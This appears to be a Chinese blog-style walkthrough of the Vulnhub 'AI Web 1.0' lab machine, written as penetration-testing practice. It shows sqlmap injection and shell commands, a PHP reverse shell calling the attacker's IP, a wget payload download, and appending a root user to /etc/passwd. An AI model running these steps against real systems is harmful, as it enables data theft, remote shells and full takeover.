环境准备

直接下载靶机然后解压,VMware上运行vmx文件就行,靶机链接
运行靶机会有要密码登录,别管就行,因为渗透已经开始了!!

开始打靶

使用netdiscover扫描ip
image-20230501201446634
挨个访问,最终发现192.168.75.132这个IP可疑
image-20230501201508266
nmap扫描一下这个IP 查看开放端口

1
2
3
nmap -T4 -sV -O -A -P 192.168.75.132
-T4(速度) -sV(版本扫描和开启的服务) -O(操作系统) -p-(全部端口
这里其实用-A就可以,主要时熟悉一下参数

image-20230501201519095
可以看到80端口开放也就是我们一开始访问的那个页面,直接扫一下目录
image-20230501201529877
存在一个robots.txt
image-20230501201540911
emmmm,两个都是403,然后对着这个两个路径扫一下,扫到一个http://192.168.75.132/m3diNf0/info.php
image-20230501201552683
网站的绝对路径,然后扫另一个http://192.168.75.132/se3reTdir777这里一开始扫的uploads但是没有东西然后就扫了这个,看wp有的是用的kali下的dirb,涨姿势了以前都不知道这个工具
image-20230501201605406
访问index.php,中途断开连接了还以为是题目的设定。。。访问得到下面的表单
image-20230501201615163

sql注入

使用1'探测是否存在sql注入,发现报错
image-20230501201626465
然后使用1'#正常sql注入没跑了
image-20230501201634617
抓个包得到参数,因为是post注入直接保存一下这个包然后丢sqlmap先跑一下,毕竟不是ctf题应该能跑出来
image-20230501201645892
python sqlmap.py -r "E:\vuluhub靶场\AI Web 1.0\做题\1.txt" -p uid --dbs执行命令直接跑,跑的时候手工测了一下发现union没法注因为没有回显,然后发现存在延时注入,果然sqlmap一开始没注出来
python sqlmap.py -r "E:\vuluhub靶场\AI Web 1.0\做题\1.txt" -p uid --technique=T --dbs

1
2
3
4
5
6
7
sqlmap指定注入类型
--technique=T
B:布尔盲注
E:报错注入
U:联合查询注入
S:文件系统,操作系统,注册表相关
T:时间盲注

这两种方式都没注出来。。。看看wp怎么注的吧
sqlmap -u "http://192.168.75.132/se3reTdir777/index.php#" --data "uid=1&Operation=Submit" --dbs
好吧,直接指定参数注
image-20230501201714088
emmm,kali下的sqlmap这么快的吗,一直用的Windows下的,看看aiweb1
sqlmap -u "http://192.168.75.132/se3reTdir777/index.php#" --data "uid=1&Operation=Submit" --tables -D aiweb1
image-20230501201722682
看字段
sqlmap -u "http://192.168.75.132/se3reTdir777/index.php#" --data "uid=1&Operation=Submit" --columns -D aiweb1 -T user
image-20230501201733277
没啥东西,直接拿shell吧
sqlmap -u "http://192.168.75.132/se3reTdir777/index.php#" --data "uid=1&Operation=Submit" --os-shell
image-20230501201755826
下面的2为自定义上传路径结合我们刚刚得到的绝对路径就能知道马的位置,通过下面的操作能知道权限,不知道为什么whoami命令没有输出,难道没有??
image-20230501201810247
知道绝对路径那就写个一句话木马进入,sqlmap的马蚁剑连不上

1
2
3
4
sqlmap -u "http://192.168.75.132/se3reTdir777" --data "uid=1&Operation=Submit" --file-write ./2.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/2.php

--file-write:去读取文件(1.php)
--file-dest:后面加目标的绝对路径 已经生成木马的名称(1.php)

这里不知道为什么一样的命令wp能上传上去我不行,既然一句话传不上去那就直接尝试反弹shell

反弹shell

准备一个反弹shell的php文件,,IP为kali IP

1
2
3
4
<?php
$sock=fsockopen("192.168.75.128",6666);
exec("/bin/sh -i <&3 >&3 2>&3");
?>

利用python搭建一个简易的web服务,这里python内置了模块只需要执行命令就行,下面为python3环境

1
2
python -m http.server 9999
#9999为端口号,可自己指定

然后就会在页面显示当前目录的文件,如果有默认的index.html文件就会优先显示,这里又有个坑就是我文件放在桌面它不显示,不知道为什么
image-20230501201822611
然后在靶机上使用wget下载shell文件
image-20230501201833498
建立监听,然后在靶机上运行shell.php
image-20230501201842818
这里一次没成功多试几下就行,查看权限为www-data,下面开始提权

提权

执行命令ls -l /etc/passwd可以看到当前用户对etc/passwd文件具有rw(读写)权限
image-20230501201935342
写入的时候密码是加密的,所以要先加密密码:
openssl passwd -1 -salt web1 123456
image-20230501201943426
然后写入密码
echo 'web1:$1$web1$ZrYgDZgZpLlsnVlxUaZwh/:0:0::/root:/bin/bash' >>/etc/passwd
直接切换用户会报错
image-20230501202106358
转换为交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
image-20230501202135452
可以看到权限已经是root了,flag在root目录下
image-20230501202154593
第一次做这种靶场还挺有意思